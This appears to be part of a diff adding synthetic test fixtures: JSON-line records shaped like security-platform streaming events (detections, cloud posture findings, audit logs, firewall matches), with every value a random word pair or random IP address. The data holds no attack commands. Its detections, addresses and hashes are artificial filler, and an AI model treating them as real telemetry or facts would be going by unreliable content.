false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "howstring","ParentCommandLine": "everyonesedge","GrandparentImageFileName": "everybodybutter","GrandparentCommandLine": "howparty","HostGroups": "everybodyweek","AssociatedFile": "itsmercy","PatternId": 1232464714}}
+{"metadata": {"customerIDString": "aloofcrowd","offset": 740568382,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whygang","Region": "us-east-1","ResourceId": "somecast","ResourceIdType": "alldynasty","ResourceName": "theirmouth","ResourceCreateTime": 0,"PolicyStatement": "alljoy","PolicyId": -1697369840,"Severity": 36,"SeverityName": "Informational","CloudPlatform": "halfperson","CloudService": "colorfulposse","Disposition": "Failed","ResourceUrl": "howclothing","Finding": "hercar","Tags": [{"Key": "lovelytroop","ValueString": "noneproblem"}],"ReportUrl": "thoseluxuty","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "jitterymurder","offset": 1961041064,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "muchanger","MobileDetectionId": 69767198,"ComputerName": "proudbus","UserName": "over therehorde","ContextTimeStamp": 1649061056,"DetectId": "whysedge","DetectName": "whymonth","DetectDescription": "whatmirror","Tactic": "whosebread","TacticId": "anythingcompany","Technique": "hiscollection","TechniqueId": "outstandingnumber","Objective": "over thereposse","Severity": 43,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/mymurder?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "yourcomfort","AndroidAppLabel": "Salvadoreanpen","DexFileHashes": "everybodyparty","ImageFileName": "cutehorror","AppInstallerInformation": "everythingwork","IsBeingDebugged": true,"AndroidAppVersionName": "nobodyman","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "itcat","offset": -821676966,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "uglydanger","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\abundantworld","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "way sleep bunch plan thing troupe basket production bridge shower muster gang trip pain cackle team advertising thought poisedwisp","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thiskindness?_cid=xxxxxxx","FileName": "eachparty","FilePath": "emptywidth\\eachparty","FilesAccessed": [{"FileName": "eachparty","FilePath": "emptywidth\\eachparty","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "eachparty","FilePath": "emptywidth\\eachparty","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\victoriousgrade","GrandParentImageFileName": "whichmeal","GrandParentImageFilePath": "ourcompany\\whichmeal","HostGroups": "nonedynasty","Hostname": "littlegarden","LocalIP": "175.120.65.85","LocalIPv6": "162.194.94.24","LogonDomain": "wherejoy","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "yourroad","Name": "magnificenttime","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -371508142,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "113.59.205.90","LocalPort": 16996,"Protocol": "Belgianapro","RemoteAddress": "212.199.228.138","RemotePort": 17202}],"Objective": "whoseaid","ParentCommandLine": "C:\\Windows\\thosepacket\\thesequiver","ParentImageFileName": "thesequiver","ParentImageFilePath": "so fewmustering\\thesequiver","ParentProcessId": -1247164242,"PatternDispositionDescription": "party garage knowledge trend whisker luxuty peace line yourparty","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": true,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 834471333,"PatternId": -1406840380,"PlatformId": "fewfurniture","PlatformName": "Mac","ProcessEndTime": -1161875253,"ProcessId": 704146160,"ProcessStartTime": 2080525086,"ReferrerUrl": "Icelandicseed","SHA1String": "itgoal","SHA256String": "sufficienttroupe","Severity": 29,"SeverityName": "High","SourceProducts": "thatflower","SourceVendors": "tooregiment","Tactic": "Greekway","Technique": "theirsoap","Type": "ldt","UserName": "Malagasyconfusion"}}
+{"metadata": {"customerIDString": "fewdisregard","offset": -2029514474,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "angrypronunciation","PolicyId": -1970886867,"PolicyStatement": "over therepouch","CloudProvider": "somepencil","CloudService": "whichimagination","Severity": 79,"SeverityName": "Medium","EventAction": "nocleverness","EventSource": "thischoir","EventCreatedTimestamp": 1663011160,"UserId": "thismustering","UserName": "Africandoctor","UserSourceIp": "53.43.174.74","Tactic": "whathand","Technique": "herfun"}}
+{"metadata": {"customerIDString": "yellowenvy","offset": -1993478320,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "brightweek","UserIp": "254.218.27.74","OperationName": "userAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Buddhistbowl","ValueString": "Burmesehost"}],"Attributes": {"actor_cid": "howbevy","actor_user": "knightlycousin","actor_user_uuid": "handsomefun","app_id": "a lotbottle","saml_assertion": "enoughlife","target_user": "whosechild","trace_id": "heavilypage"}}}
+{"metadata": {"customerIDString": "herebrilliance","offset": -1831228191,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "somebodyscheme","State": "closed","FineScore": 7.039776011344496,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "Plutonianarmy","HostID": "alltribe","LMHostIDs": ["fewteam"],"UserId": "magnificentboard"}}
+{"metadata": {"customerIDString": "thatcrowd","offset": -753998750,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "itssoup","UserIp": "15.186.240.250","OperationName": "selfAcceptEula","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "thosewood","ValueString": "thisproduct"}],"Attributes": {"actor_cid": "braveeye","actor_user": "thisstaff","actor_user_uuid": "anythingdishonesty","app_id": "hundredrainbow","saml_assertion": "Kyrgyzjoy","target_user": "howapple","trace_id": "filthybouquet"}}}
+{"metadata": {"customerIDString": "stormytalent","offset": -1608868323,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "darkhail","HostnameField": "muddyleap","UserName": "insufficientshop","StartTimestamp": 1582830734,"AgentIdString": "heavilymagic"}}
+{"metadata": {"customerIDString": "greenhorror","offset": 840939344,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thateye","UserIp": "193.145.138.133","OperationName": "revokeUserRoles","ServiceName": "detections","AuditKeyValues": [{"Key": "lonelywisp","ValueString": "whichpunctuation"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "lovelybrace"}}}
+{"metadata": {"customerIDString": "whoseshower","offset": -303773766,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Cypriotplace","PolicyId": -1131743678,"PolicyStatement": "whosecovey","CloudProvider": "Africanspeed","CloudService": "thesehost","Severity": 8,"SeverityName": "High","EventAction": "Californianability","EventSource": "Turkmenpart","EventCreatedTimestamp": 1663011160,"UserId": "hereknowledge","UserName": "theremarriage","UserSourceIp": "206.46.125.9","Tactic": "Dutchshower","Technique": "everyonehost"}}
+{"metadata": {"customerIDString": "allstaff","offset": -2145506912,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "hispaper","UserID": "wholegroup","ExecutionID": "whereperson","ReportID": "wanderingreel","ReportName": "over therewealth","ReportType": "variedtea","ReportFileReference": "heavilystring","Status": "fancyleap","StatusMessage": "Laotianfinger","ExecutionMetadata": {"ExecutionStart": 598742230,"ExecutionDuration": -466972945,"ReportFileName": "whoseteacher","ResultCount": -170185523,"ResultID": "herechild","SearchWindowStart": -645346693,"SearchWindowEnd": -936574230}}}
+{"metadata": {"customerIDString": "impromptuherbs","offset": -671440385,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hereway","HostnameField": "whichbed","UserName": "delightfulfather","StartTimestamp": 1582830734,"AgentIdString": "everybodywoman"}}
+{"metadata": {"customerIDString": "thattrust","offset": -1407742014,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Africanfailure","PolicyId": -1009302844,"PolicyStatement": "ittime","CloudProvider": "eachposse","CloudService": "ourchildhood","Severity": 85,"SeverityName": "High","EventAction": "franticmustering","EventSource": "thatgloves","EventCreatedTimestamp": 1663011160,"UserId": "lonelybrilliance","UserName": "ourdynasty","UserSourceIp": "143.92.26.216","Tactic": "therekid","Technique": "ourart"}}
+{"metadata": {"customerIDString": "gloriousdivorce","offset": 1342704196,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "hisseafood","UserID": "manyhotel","ExecutionID": "thosepicture","ReportID": "everythingjob","ReportName": "halfsalt","ReportType": "upsetcast","ReportFileReference": "ourhand","Status": "everyoneplace","StatusMessage": "yourinnocence","ExecutionMetadata": {"ExecutionStart": -581552420,"ExecutionDuration": -1598579021,"ReportFileName": "anyinfancy","ResultCount": -988564843,"ResultID": "whereresearch","SearchWindowStart": 1424290890,"SearchWindowEnd": 393370078}}}
+{"metadata": {"customerIDString": "wholegeneration","offset": 131148644,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1347675130,"ProcessEndTime": -1876679142,"ProcessId": -947736290,"ParentProcessId": -1309925092,"ComputerName": "somegoal","UserName": "fewbale","DetectName": "someheap","DetectDescription": "patrol army bunch child tribe person thing clump heat pod pipe anger stand soup wolf church string tenderstring","Severity": 4,"SeverityName": "High","FileName": "eachvilla","FilePath": "gorgeousson\\eachvilla","CommandLine": "C:\\Windows\\over thereassistance","SHA256String": "substantialmagic","MD5String": "whosemob","SHA1String": "anythingcase","MachineDomain": "oursock","NetworkAccesses": [{"AccessType": -1978822203,"AccessTimestamp": 1751371565,"Protocol": "so fewpig","LocalAddress": "206.87.187.254","LocalPort": 25189,"RemoteAddress": "173.236.92.168","RemotePort": 22882,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hungryunion?_cid=xxxxxxx","SensorId": "thesebow","IOCType": "command_line","IOCValue": "importantlake","DetectId": "lots ofcarrot","LocalIP": "18.78.90.177","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "foolishcase","Technique": "hisfactory","Objective": "Swaziability","PatternDispositionDescription": "bevy hammer case darkness socks travel riches mustering steak dynasty ream annoyance tennis leisure point cluster life muster point covey cleancovey","PatternDispositionValue": -1986402747,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "somebodycandle","ParentCommandLine": "something","GrandparentImageFileName": "doublemurder","GrandparentCommandLine": "thiscompany","HostGroups": "Gaussiancorruption","AssociatedFile": "Atlanticforest","PatternId": -1882667008}}
+{"metadata": {"customerIDString": "howmob","offset": 614263770,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "yoursurgeon","UserIp": "246.251.242.53","OperationName": "deleteUser","ServiceName": "detections","AuditKeyValues": [{"Key": "Vietnamesepleasure","ValueString": "Pacificpage"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "someoneorchard"}}}
+{"metadata": {"customerIDString": "whereparty","offset": -189582918,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "wherenumber","DetectName": "giftedhorror","DetectDescription": "tent door street luxury muster heap toilet frailty book trip loneliness stack bones generation cackle watch trip cooker pack cigarette army bouquet place Hitlerianlove","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Congolesecrew?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 17,"SeverityName": "Critical","Tactic": "Portuguesebox","Technique": "onemustering","Objective": "thisarmy","SourceAccountDomain": "allnap","SourceAccountName": "condemnedchildhood","SourceAccountObjectSid": "Buddhistleap","SourceEndpointAccountObjectGuid": "whichteam","SourceEndpointAccountObjectSid": "healthydeceit","SourceEndpointHostName": "perfectsoup","SourceEndpointIpAddress": "161.190.123.166","SourceEndpointSensorId": "whichtable","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "fancycompany","PatternId": 1548354304}}
+{"metadata": {"customerIDString": "heavilystaff","offset": 906103853,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ourgalaxy","PolicyId": 604517403,"PolicyStatement": "whatstand","CloudProvider": "somefailure","CloudService": "itsbunch","Severity": 49,"SeverityName": "Medium","EventAction": "herebale","EventSource": "herecast","EventCreatedTimestamp": 1663011160,"UserId": "richregiment","UserName": "hisengine","UserSourceIp": "100.243.158.102","Tactic": "manygroup","Technique": "theirfleet"}}
+{"metadata": {"customerIDString": "condemnedcollege","offset": 1812346359,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "thereway","State": "open","FineScore": 8.31994394666357,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "yourdamage","HostID": "so fewcrime","LMHostIDs": ["greatproduction"],"UserId": "Gaussianreligion"}}
+{"metadata": {"customerIDString": "Bismarckiangain","offset": -592288370,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "gracefulschool","State": "closed","FineScore": 1.9359426021893968,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "lots ofpack","HostID": "frighteningteam","LMHostIDs": ["Chinesechair"],"UserId": "frighteningocean"}}
+{"metadata": {"customerIDString": "itsposse","offset": -615795649,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Germanscold","Region": "us-west-2","ResourceId": "thatarchitect","ResourceIdType": "Amazonianrubbish","ResourceName": "ourwoman","ResourceCreateTime": 0,"PolicyStatement": "whyspoon","PolicyId": 1035142533,"Severity": 27,"SeverityName": "Low","CloudPlatform": "smoggyadvantage","CloudService": "plainmustering","Disposition": "Failed","ResourceUrl": "happyway","Finding": "anyoneweek","Tags": [{"Key": "knightlygenetics","ValueString": "ourmovement"}],"ReportUrl": "terribleexaltation","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "heavilycluster","offset": 1787879286,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "hisman","IncidentDescription": "myhail","Severity": 12,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "eachhand","UserName": "hiscomb","EndpointName": "fewmustering","EndpointIp": "1.165.23.55","Category": "Incidents","NumbersOfAlerts": -60578336,"NumberOfCompromisedEntities": -1036433694,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itssenator?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "yourworld","offset": -249568344,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "glamorousband","UserIp": "211.129.175.149","OperationName": "updateUserRoles","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Kazakhtroop","ValueString": "whatgarage"}],"Attributes": {"actor_cid": "sparserice","actor_user": "Bangladeshistring","actor_user_uuid": "blushingparty","app_id": "yourgroup","saml_assertion": "drabviolence","target_user": "enthusiasticsandals","trace_id": "yourverb"}}}
+{"metadata": {"customerIDString": "herebrace","offset": -116475959,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "hisskirt","DataDomains": "Network","Description": "game class crow voice patrol wisp omen bird company month deceit staff list Romanianhorror","DetectId": "myfame","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "133.215.83.142","HostNames": "thosepack","Name": "littlecastle","PatternId": 1339224201,"Severity": 47,"SourceProducts": "itsteam","SourceVendors": "Romanjaw","StartTimeEpoch": 1643317697728000000,"TacticIds": "enchantedhost","Tactics": "sparsemob","TechniqueIds": "someglasses","Techniques": "mostjustice","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "eagerchoker","offset": 911507457,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "glamorousliter","PolicyId": 1096683373,"PolicyStatement": "thesefactory","CloudProvider": "myresearch","CloudService": "howforest","Severity": 55,"SeverityName": "Informational","EventAction": "howarchipelago","EventSource": "numerousbouquet","EventCreatedTimestamp": 1663011160,"UserId": "thisbundle","UserName": "colorfultraffic","UserSourceIp": "206.44.219.194","Tactic": "Taiwaneseburger","Technique": "thesecheese"}}
+{"metadata": {"customerIDString": "yourfrailty","offset": -793020454,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "wholebundle","Highlights": ["manyrange"],"MatchedTimestamp": 1686889114000,"RuleId": "significantfoot","RuleName": "herehedge","RuleTopic": "anythingloneliness","RulePriority": "whosechapter","ItemId": "whichcaravan","ItemType": "TYPOSQUATTING","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "theirmusician","offset": -873652378,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "couplefashion","IncidentDescription": "pod coupleracism","Severity": 78,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "hundredtrade","UserName": "wearyrange","EndpointName": "severalhand","EndpointIp": "107.73.28.194","Category": "Detections","NumbersOfAlerts": -1628927342,"NumberOfCompromisedEntities": -1589325642,"State": "DISMISS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/cruelwisp?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "nocongregation","offset": -473597939,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "thesehost","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\wheremurder","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "assistance quantity leap range cackle notebook necklace failure cast cup towel pride part salt child band leap bus courage party trip mybush","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatlemon?_cid=xxxxxxx","FileName": "eithertail","FilePath": "insufficientfreezer\\eithertail","FilesAccessed": [{"FileName": "eithertail","FilePath": "insufficientfreezer\\eithertail","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "eithertail","FilePath": "insufficientfreezer\\eithertail","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\nonebunch","GrandParentImageFileName": "anyoneheap","GrandParentImageFilePath": "gorgeouseffect\\anyoneheap","HostGroups": "hundredlove","Hostname": "substantialbowl","LocalIP": "70.56.189.48","LocalIPv6": "191.77.79.78","LogonDomain": "heavilytribe","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "thosemotherhood","Name": "muddyleg","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1523947815,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "50.155.178.116","LocalPort": 17792,"Protocol": "onefrock","RemoteAddress": "126.236.243.158","RemotePort": 54920}],"Objective": "greenjewelry","ParentCommandLine": "C:\\Windows\\impromptureel\\theirrange","ParentImageFileName": "theirrange","ParentImageFilePath": "yourchicken\\theirrange","ParentProcessId": 1209494877,"PatternDispositionDescription": "forest case rubbish solitude divorce life day steak packet generosity field group harm set way plant eachtribe","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": true,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -1416433354,"PatternId": -310322465,"PlatformId": "Bismarckiancompany","PlatformName": "Mac","ProcessEndTime": -234214285,"ProcessId": 41147750,"ProcessStartTime": -934921982,"ReferrerUrl": "over therecompany","SHA1String": "wherebattery","SHA256String": "Cambodianperson","Severity": 45,"SeverityName": "Critical","SourceProducts": "delightfulrange","SourceVendors": "Icelandicman","Tactic": "whygoal","Technique": "thatring","Type": "ldt","UserName": "itsfriendship"}}
+{"metadata": {"customerIDString": "numerousomen","offset": 188460579,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "heavilypack","HostnameField": "Swisscollection","UserName": "thereirritation","StartTimestamp": 1582830734,"AgentIdString": "heavilywoman"}}
+{"metadata": {"customerIDString": "South Americantolerance","offset": -1442300907,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "itglasses","IncidentDescription": "trench coat patience collection trip bill herecastle","Severity": 6,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Lebanesetime","UserName": "thesefarm","EndpointName": "courageousarchipelago","EndpointIp": "223.27.112.86","Category": "Detections","NumbersOfAlerts": 205286678,"NumberOfCompromisedEntities": 74875580,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourgirl?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "enoughchildhood","offset": -1047000705,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whichwisdom","Region": "us-west-1","ResourceId": "heavyscold","ResourceIdType": "therescale","ResourceName": "Bahraineancongregation","ResourceCreateTime": 0,"PolicyStatement": "lightfriend","PolicyId": 413473485,"Severity": 61,"SeverityName": "Informational","CloudPlatform": "Guyaneseboat","CloudService": "severalclarity","Disposition": "Failed","ResourceUrl": "oddday","Finding": "howlogic","Tags": [{"Key": "thatmovement","ValueString": "howgown"}],"ReportUrl": "eachhedge","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "Beninesesandwich","offset": 915076709,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "herworld","Highlights": ["so fewband"],"MatchedTimestamp": 1686889114000,"RuleId": "stupidwealth","RuleName": "theseelephant","RuleTopic": "severalfish","RulePriority": "manynutrition","ItemId": "thesehat","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "sufficientbike","offset": 89084100,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "mypoint","IncidentDescription": "chaos eye tiger mob foot entertainment shower chapter congregation river wood candy album scold part lawn paper thoselife","Severity": 16,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "somebelief","UserName": "Norwegianfarm","EndpointName": "Balinesecarrot","EndpointIp": "20.157.171.45","Category": "Detections","NumbersOfAlerts": -656181163,"NumberOfCompromisedEntities": -1843982960,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Polynesiancrew?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "Asianriches","offset": 744878699,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thiscovey","Region": "us-east-1","ResourceId": "itsability","ResourceIdType": "whichteam","ResourceName": "attractivecoffee","ResourceCreateTime": 0,"PolicyStatement": "hercalm","PolicyId": 1562184883,"Severity": 52,"SeverityName": "Low","CloudPlatform": "Turkmennest","CloudService": "severalaunt","Disposition": "Failed","ResourceUrl": "whyguest","Finding": "illday","Tags": [{"Key": "Taiwanesenature","ValueString": "everythinginnocence"}],"ReportUrl": "whyreligion","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "eachbrace","offset": 857788492,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "myparty","IncidentDescription": "village medicine body station party congregation way cast host line woman trend ream grains harvest box gloriousmanagement","Severity": 27,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "anycloud","UserName": "itreel","EndpointName": "severalblouse","EndpointIp": "98.114.143.88","Category": "Detections","NumbersOfAlerts": 2069547470,"NumberOfCompromisedEntities": -346285196,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirlove?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "Englishwoman","offset": 169267568,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "theseteam","UserIp": "239.47.193.209","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "repulsivefact","ValueString": "over therebale"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thatkitchen"}}}
+{"metadata": {"customerIDString": "theremob","offset": -130794817,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "itscase","HostnameField": "whywork","UserName": "whoseocean","StartTimestamp": 1582830734,"AgentIdString": "hisbow"}}
+{"metadata": {"customerIDString": "Kazakhbouquet","offset": -1459938176,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thosegovernment","PolicyId": -862303071,"PolicyStatement": "onepack","CloudProvider": "couplestand","CloudService": "wittyfact","Severity": 24,"SeverityName": "Low","EventAction": "toohorror","EventSource": "manycovey","EventCreatedTimestamp": 1663011160,"UserId": "Hitlerianstand","UserName": "Peruvianperson","UserSourceIp": "42.99.248.34","Tactic": "whattime","Technique": "hugestack"}}
+{"metadata": {"customerIDString": "itpack","offset": -1341880091,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "Americanparty","CustomerId": "whichhail","Ipv": "84.131.14.185","CommandLine": "plenty ofreligion","ConnectionDirection": "2","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "itcast","ICMPCode": "yourcashier","ICMPType": "friendlyjourney","ImageFileName": "myboard","LocalAddress": "252.116.43.249","LocalPort": "82130","MatchCount": -1801157096,"MatchCountSinceLastReport": -592942918,"NetworkProfile": "hisfailure","PID": "1891097036","PolicyName": "Russianbat","PolicyID": "hundredtroop","Protocol": "foolishfood","RemoteAddress": "164.38.209.104","RemotePort": "64254","RuleAction": "whatlight","RuleDescription": "place wildlife music patrol world school gang monkey choir part howflower","RuleFamilyID": "everythingtroop","RuleGroupName": "hundredsstand","RuleName": "numerousgovernment","RuleId": "howproblem","Status": "manyman","Timestamp": 1751371830,"TreeID": "nobodytime"}}
